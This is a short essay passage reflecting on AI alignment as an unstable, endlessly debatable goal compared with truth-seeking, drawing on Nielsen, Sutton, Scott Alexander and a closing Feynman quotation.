The desire of a relentless seeker of reality is deeply human, almost romantic. But this exposes a “fundamental asymmetry,” as Nielsen has pointed out: “understanding reality” is an objective, well-defined goal. “Stay aligned with human values” is not. In this sense I say that alignment is a tightrope walk. It is endlessly debatable. Truth has a target; alignment is a moving horizon. And that makes the latter inherently unstable. Every attempt to constrain the system risks either undermining its capabilities or building sandcastles against a wrathful sea god. The very act of designing more capable truth-seeking systems proliferates dual-use capabilities into the world, whether you intend it or not.

And yet, “what we see in the world is what gets amplified.” If we build systems that seek unconditional truth, they will discover more than we expect and transmit more than we can verify. Nielsen echoes Scott Alexander’s “From Nostradamus to Fukuyama,” which argues that people sounding the alarm about existential risk might seem to hinder progress. But if alignment is an epistemic position, surefootedly walking that tightrope could be the defining dilemma of the AI age.

In short, Sutton describes the Zeitgeist and Nielsen expands his section on consequences by describing the crushing pressure such consequences exert. Taken together, these call for a research agenda that (A) transforms static AI systems into adaptive experiential systems, and (B) does so with an acute awareness that a deeper search for truth inexorably wields a double-edged sword. Feynman, in one of his timeless speeches, rightly advised us:

“If we want to solve a problem that we have never solved before, we must leave the door to the unknown ajar.”